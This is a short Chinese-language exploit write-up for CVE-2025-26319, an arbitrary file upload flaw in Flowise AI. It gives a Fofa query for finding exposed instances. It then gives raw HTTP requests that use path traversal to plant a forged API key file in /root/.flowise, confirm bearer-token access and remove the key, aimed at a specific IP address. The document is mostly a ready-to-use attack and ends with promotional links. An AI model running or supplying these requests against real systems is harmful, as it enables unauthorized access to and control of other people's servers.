Flowise AI 系统任意文件上传漏洞(CVE-2025-26319)
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Fofa:app=“FlowiseAI” && title==“Flowise - Low-code LLM apps builder”
STEP1:写入鉴权api:
POST /api/v1/attachments/..%2f..%2f..%2f..%2f..%2froot%2f/.flowise HTTP/1.1
Host: 3.248.28.32
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydTh0yj8zypRgPT1w
Content-Length: 462
------WebKitFormBoundarydTh0yj8zypRgPT1w
Content-Disposition: form-data; name="files"; filename="api.json"
Content-type: text/plain
[{
"keyName":"=",
"apiKey":"24NHxsKIZi7Ee34rl7FtW3dtW1IuYjFQDegXP_Bn8yQ", "apiSecret":"8648f55db62716a6577b565efb66145b9ad8c50884c57ae8d4f03c4cd8b3ee27b1f77804d320f08bac8aa4b0dbf58a39dacbb767eb05efe1e57d5c66e5d48473.af4b3f229bd11ac5",
"createdAt":"111",
"id":"1111"
}]
------WebKitFormBoundarydTh0yj8zypRgPT1w--

STEP2: 查找api是否存在:
GET /api/v1/apikey HTTP/1.1
Authorization: Bearer 24NHxsKIZi7Ee34rl7FtW3dtW1IuYjFQDegXP_Bn8yQ

STEP3:删除写入文件,数据还原:
DELETE /api/v1/apikey/1111 HTTP/1.1
Authorization: Bearer 24NHxsKIZi7Ee34rl7FtW3dtW1IuYjFQDegXP_Bn8yQ


漏洞验证完成;
想看其他内容访问https://www.wlaqsys.com与https://pc.fenchuan8.com/#/index?forum=106431,实验室已完成1200种漏洞验证过程。
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